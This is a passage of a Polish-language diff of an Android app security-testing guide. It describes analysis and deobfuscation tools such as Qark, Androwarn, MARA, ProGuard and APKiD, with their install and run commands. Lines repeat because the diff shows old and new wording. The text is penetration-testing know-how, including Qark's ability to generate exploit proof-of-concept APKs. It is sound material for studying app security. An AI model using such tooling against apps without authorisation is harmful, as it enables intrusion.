To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -606,7 +610,7 @@ To **świetne narzędzie do przeprowadzania analizy statycznej z GUI**
### [Qark](https://github.com/linkedin/qark)
To narzędzie jest zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem luk w aplikacjach Android**, zarówno w **kodzie źródłowym**, jak i w **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych luk (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
To narzędzie jest zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem luk w aplikacjach Android**, zarówno w **kodzie źródłowym**, jak i **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych luk (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -658,7 +662,7 @@ androbugs.exe -f [APK file]
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtowego kodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtkodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
```
@ -668,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
Może:
@ -689,7 +693,7 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie open source wiersza poleceń, które zmniejsza, optymalizuje i obfuskatuje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskacje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
@ -721,7 +725,7 @@ To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikacj
### [APKiD](https://github.com/rednaga/APKiD)
APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
### Manual